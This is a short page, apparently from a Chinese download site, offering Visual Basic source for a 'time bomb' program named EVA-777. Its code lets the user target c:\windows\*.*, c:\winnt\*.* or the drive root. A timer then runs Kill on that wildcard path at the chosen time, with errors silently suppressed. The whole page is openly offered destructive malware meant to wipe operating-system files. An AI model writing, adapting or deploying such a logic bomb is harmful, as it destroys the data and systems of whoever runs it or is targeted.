本类下载排行

一个定时发作删除文件的程序原码---EVA-777 TIME BOMB

• Private Sub Check2_Click()
  Text1.Text = "c:\winnt\*.*"
  End Sub
  Private Sub Command2_Click()
  toon.Hide
  End Sub

  Private Sub Command3_Click()
  Form1.Show
  End Sub

  Private Sub Form_Load()

  End Sub

  Private Sub Option1_Click()
  Text1.Text = "c:\windows\*.*"
  End Sub

  Private Sub Option2_Click()
  Text1.Text = "c:\winnt\*.*"
  End Sub

  Private Sub Option3_Click()
  Text1.Text = "\*.*"
  End Sub

  Private Sub Text1_Change()
  kof = Text1.Text
  End Sub

  Private Sub Text2_Change()
  leona = Text2.Text
  End Sub

  Private Sub Timer1_Timer()
  Label6.Caption = Time()
  yuri = Time()
  On Error Resume Next
  If yuri = leona Then
  Kill kof
  End If
  End Sub